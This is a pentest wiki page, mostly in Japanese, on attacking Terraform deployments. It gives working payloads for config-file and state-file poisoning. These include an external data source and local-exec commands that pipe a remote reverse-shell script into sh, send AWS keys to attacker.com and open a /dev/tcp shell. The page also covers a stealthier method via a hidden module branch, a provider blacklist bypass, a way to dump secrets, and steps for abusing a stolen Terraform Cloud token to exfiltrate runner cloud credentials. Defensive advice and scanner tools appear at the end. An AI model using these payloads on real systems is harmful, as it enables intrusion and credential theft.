# Terraform セキュリティ

{{#include ../banners/hacktricks-training.md}}

## 基本情報

[ドキュメントより:](https://developer.hashicorp.com/terraform/intro)

HashiCorp Terraform は **インフラストラクチャをコードとして定義するツール** で、**クラウドおよびオンプレミスのリソース** をバージョン管理、再利用、共有できる人間が読みやすい構成ファイルで定義できます。これにより、一貫したワークフローでインフラ全体をライフサイクルを通じてプロビジョニングおよび管理できます。Terraform は compute、storage、networking のような低レベルのコンポーネントだけでなく、DNS エントリや SaaS 機能のような高レベルのコンポーネントも管理できます。

#### Terraform はどのように動作するか？

Terraform はクラウドプラットフォームや他のサービスの API を通じてリソースを作成・管理します。プロバイダは、アクセス可能な API を持つほぼすべてのプラットフォームやサービスと Terraform を連携させます。

![](<../images/image (177).png>)

HashiCorp と Terraform コミュニティは既に **1700 を超えるプロバイダ** を作成しており、さまざまなタイプのリソースやサービスを管理しています。この数は増え続けています。公開されているプロバイダはすべて [Terraform Registry](https://registry.terraform.io/) で確認でき、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog などが含まれます。

Terraform のコアワークフローは次の3つの段階で構成されます：

- **Write:** 複数のクラウドプロバイダやサービスにまたがるリソースを定義します。例えば、VPC ネットワーク内の仮想マシンにアプリケーションをデプロイし、security groups と load balancer を構成する設定を作成することがあります。
- **Plan:** Terraform は、既存のインフラとあなたの設定に基づいて、作成・更新・破棄されるインフラを記述する実行プランを作成します。
- **Apply:** 承認されると、Terraform はリソース依存関係を尊重して適切な順序で提案された操作を実行します。例えば、VPC のプロパティを更新してその VPC 内の仮想マシンの数を変更した場合、Terraform は仮想マシンをスケールする前に VPC を再作成します。

![](<../images/image (215).png>)

### Terraform ラボ

単にコンピュータに Terraform をインストールしてください。

こちらに [ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli) があり、こちらが [Terraform のダウンロード方法（推奨）](https://www.terraform.io/downloads) です。

## RCE in Terraform: config file poisoning

Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).

However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.

The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.

Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:

{{#ref}}
atlantis-security.md
{{#endref}}

If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.

### Terraform plan

Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.

**Using an external provider**

Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.

Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**カスタムプロバイダの使用**

攻撃者は [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) を [Terraform Registry](https://registry.terraform.io/) に提出し、その後 feature branch の Terraform コードにそれを追加することができます（[example from here](https://alex.kaskaso.li/post/terraform-plan-rce)）：
```javascript
terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}
```
プロバイダは `init` 時にダウンロードされ、`plan` が実行されると悪意のあるコードが実行されます

You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)

**外部参照の利用**

どちらのオプションも有用ですが、あまりstealthyではありません（2つ目の方が1つ目よりstealthyですが、より複雑です）。次の提案に従うことで、この攻撃をさらに**stealthier way**で行うことができます：

- terraformファイルにrev shellを直接追加する代わりに、rev shellを含む**外部リソースを読み込む**ことができます：
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)

- 外部リソースでは、**ref** 機能を使ってリポジトリ内のブランチにある **terraform rev shell code in a branch** を隠します。例えば: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`

### Terraform Apply

Terraform apply はすべての変更を反映するために実行されます。また、[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html) を使った **a malicious Terraform file with** を注入して RCE を得るように悪用することもできます。\
次のようなペイロードが `main.tf` ファイルに含まれるようにすればよいです:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
前の手法からの**提案に従い**、**外部参照を使用してよりステルスに実行する**ことでこの攻撃を行ってください。

## シークレットのダンプ

terraform ファイルに次のようなものを追加し、`terraform apply` を実行すると、terraform が使用する**シークレット値をダンプさせる**ことができます:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
## Terraform State Filesの悪用

terraform state files に対して書き込み権限があるが terraform のコードを変更できない場合、[**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) はそのファイルを利用するための興味深い方法をいくつか紹介しています。たとえ config files に書き込み権限があっても、state files を使うベクターの方が痕跡を残さずに済むことが多く、`git` の履歴に記録が残りません。

### RCE in Terraform: config file poisoning

It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.

The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).

To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
そして、`terraform` が実行されるとすぐに、あなたのコードが実行されます。

### リソースの削除 <a href="#deleting-resources" id="deleting-resources"></a>

リソースを破棄する方法は2つあります：

1. **破棄対象の実際のリソースを指す、ランダムな名前のリソースをstate ファイルに挿入する**

terraform はそのリソースが存在すべきでないと判断するため、実際のリソース ID に従ってそれを破棄します。前ページの例：
```json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
```
2. **更新できないようにリソースを変更して削除させる（つまり削除されて再作成される）**

EC2 インスタンスの場合、インスタンスタイプを変更するだけで terraform が削除して再作成します。

### ブラックリスト化されたプロバイダを置き換える

もし `hashicorp/external` がブラックリストに登録されている場合、以下の手順で `external` プロバイダを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開されている external provider のフォークを使用しています。自分のフォークや再実装を公開しても構いません。
```terraform
terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}
```
その後、通常どおり `external` を使用できます。
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan による RCE と credential exfiltration

このシナリオは Terraform Cloud (TFC) の runners を speculative plans の間に悪用し、ターゲットのクラウドアカウントへピボットします。

- Preconditions:
- 開発者のマシンから Terraform Cloud トークンを盗む。CLI はトークンをプレーンテキストで `~/.terraform.d/credentials.tfrc.json` に保存している。
- そのトークンはターゲットの organization/workspace へアクセスでき、少なくとも `plan` 権限を持っている必要がある。VCS-backed workspaces は CLI からの `apply` をブロックするが、それでも speculative plans は許可する。

- TFC API を用いて workspace と VCS 設定を確認する:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- external data source と Terraform Cloud "cloud" ブロックを使用して VCS-backed workspace をターゲットにし、speculative plan の実行中にコード実行をトリガーする:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
TFC runner上でreverse shellを取得するためのrsync.shの例:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
エフェメラルランナー上でプログラムを実行するための試行的プランを実行する：
```bash
terraform init
terraform plan
```
- ランナーから注入されたクラウド認証情報を列挙して持ち出す。実行中、TFC はファイルと環境変数を介してプロバイダ認証情報を注入します:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
ランナーの作業ディレクトリに期待されるファイル:
- GCP:
- `tfc-google-application-credentials` (Workload Identity Federation の JSON 設定)
- `tfc-gcp-token` (短期の GCP アクセストークン)
- AWS:
- `tfc-aws-shared-config` (web identity/OIDC ロール引受設定)
- `tfc-aws-token` (短期トークン; 一部の組織は静的キーを使用する場合あり)

- 短期の認証情報を別経路で使用して VCS のゲートを回避する:

GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
これらの認証情報を使うと、攻撃者はネイティブCLIを直接使ってリソースを作成/変更/削除でき、VCS経由での`apply`をブロックするPRベースのワークフローを回避できます。

- Defensive guidance:
- TFC ユーザー/チームおよびトークンには最小権限の原則を適用する。メンバーシップを監査し、過剰な権限を持つオーナーを避ける。
- 可能な場合、機密性の高いVCS-backedワークスペースでは`plan`権限を制限する。
- Sentinel ポリシーで provider/data source の allowlists を強制し、`data "external"` や不明なプロバイダーをブロックする。provider フィルタリングに関する HashiCorp のガイダンスを参照する。
- 静的なクラウド資格情報よりも OIDC/WIF を優先する。runners を機密とみなし、投機的な plan 実行や予期しない egress を監視する。
- `tfc-*` 認証情報アーティファクトの持ち出し (exfiltration) を検出し、plan 実行中の疑わしい `external` プログラム使用をアラートする。


## Terraform Cloud の侵害

### トークンを使用する

**[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)** の説明のとおり、terraform CLI はトークンをプレーンテキストで **`~/.terraform.d/credentials.tfrc.json`** に保存します。これを盗むと攻撃者はトークンのスコープ内でユーザーになりすますことができます。

このトークンを使用すると、次のように org/workspace を取得することができます:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
前章で説明したように、**`terraform plan`** を使用して任意のコードを実行することが可能です。

### クラウドへの脱出

ランナーが何らかのクラウド環境内に存在する場合、そのランナーに紐づけられたプリンシパルのトークンを取得し、アウトオブバンドで利用することが可能です。

- **GCP files (現在の実行ワーキングディレクトリに存在)**
- `tfc-google-application-credentials` — 外部アイデンティティを交換する方法を Google に指示する Workload Identity Federation(WIF) 用の JSON 設定。
- `tfc-gcp-token` — 上記で参照される短期間有効（≈1時間）の GCP アクセストークン

- **AWS ファイル**
- `tfc-aws-shared-config` — web identity federation/OIDC によるロールアサンプション用の JSON（静的キーより推奨）。
- `tfc-aws-token` — 短期間有効なトークン、または設定ミスがある場合は静的な IAM キーの可能性もある。


## 自動監査ツール

### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)

Snyk は Terraform、CloudFormation、Kubernetes、その他の IaC フォーマットにおける脆弱性や設定ミスを検出する包括的な Infrastructure as Code (IaC) スキャンソリューションを提供します。

- **機能:**
- セキュリティ脆弱性やコンプライアンス問題に対するリアルタイムスキャン。
- バージョン管理システム（GitHub、GitLab、Bitbucket）との統合。
- 自動的な修正用プルリクエスト。
- 詳細な修復アドバイス。
- **サインアップ:** [Snyk](https://snyk.io/) でアカウントを作成してください。
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>

**Checkov** は、infrastructure as code (IaC) 向けの静的コード解析ツールであり、イメージやオープンソースパッケージ向けのソフトウェア構成解析 (SCA) ツールでもあります。

これは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または[OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンでセキュリティおよびコンプライアンスの設定ミスを検出します。

また、[Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行し、オープンソースパッケージやイメージを対象に Common Vulnerabilities and Exposures (CVEs) を検出するスキャンを行います。
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)

From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` は、terraform に対する軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークで、あなたの Infrastructure-as-Code (IaC) に対するネガティブテスト機能を提供します。

- **compliance:** 実装されたコードがセキュリティ基準や独自の基準に従っていることを保証します
- **behaviour driven development:** ほぼすべてに対して BDD があるなら、IaC にもあるべきでは？
- **portable:** `pip` からインストールするか `docker` で実行するだけです。See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** デプロイ前にコードを検証します
- **easy to integrate:** pipeline（または git hooks）で実行でき、すべてのデプロイが検証されることを保証できます。
- **segregation of duty:** テストを別のリポジトリに保持し、別チームが責任を持つようにできます。

> [!NOTE]
> 残念ながら、コードがあなたがアクセスできないいくつかの providers を使用している場合、`terraform plan` を実行できず、このツールを動かせない可能性があります。
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)

From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec は Terraform コードの静的解析を用いて、潜在的な誤設定を検出します。

- ☁️ 主要（および一部のマイナー）なクラウドプロバイダ全体の誤設定をチェックします
- ⛔ 数百の組み込みルール
- 🪆 モジュール（ローカルおよびリモート）をスキャンします
- ➕ HCL 式とリテラル値の両方を評価します
- ↪️ Terraform 関数（例: `concat()`）を評価します
- 🔗 Terraform リソース間の関係性を評価します
- 🧰 Terraform CDK と互換性があります
- 🙅 ユーザー定義の Rego ポリシーを適用（および拡張）します
- 📃 複数の出力フォーマットをサポート: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ 設定可能（CLI フラグおよび/または設定ファイル経由）
- ⚡ 非常に高速で、大規模なリポジトリを素早くスキャンできます
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)

TerrascanはInfrastructure as Code向けのstatic code analyzerです。Terrascanを使用すると次のことが可能です：

- シームレスに infrastructure as code の設定ミスをスキャンする。
- プロビジョニングされたクラウドインフラの設定変更（ポスチャードリフトを引き起こすもの）を監視し、安全なポスチャーに戻すことを可能にする。
- セキュリティ脆弱性とコンプライアンス違反を検出する。
- クラウドネイティブインフラのプロビジョニング前にリスクを軽減する。
- ローカルでの実行や CI\CD との統合など柔軟に運用できる。
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)

Checkmarxによる**KICS**を使用して、Infrastructure-as-Codeの開発サイクルの早い段階で、セキュリティ脆弱性、コンプライアンス問題、およびインフラ設定の誤りを発見します。

**KICS**は「Keeping Infrastructure as Code Secure」の略で、オープンソースであり、あらゆるクラウドネイティブプロジェクトにとって必須のツールです。
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)

From the [**docs**](https://github.com/tenable/terrascan): Terrascan は Infrastructure as Code（IaC）の静的コード解析ツールです。Terrascan により以下が可能になります:

- IaC の誤設定をシームレスにスキャンする。
- プロビジョニング済みのクラウドインフラを監視し、設定変更によって生じる構成ドリフト（posture drift）を検出し、セキュアな状態へ戻すことを可能にする。
- セキュリティ脆弱性やコンプライアンス違反を検出する。
- クラウドネイティブなインフラをプロビジョニングする前にリスクを軽減する。
- ローカルで実行するか、CI\CD に統合する柔軟性を提供する。
```bash
brew install terrascan
```
## 参考文献

- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)

{{#include ../banners/hacktricks-training.md}}
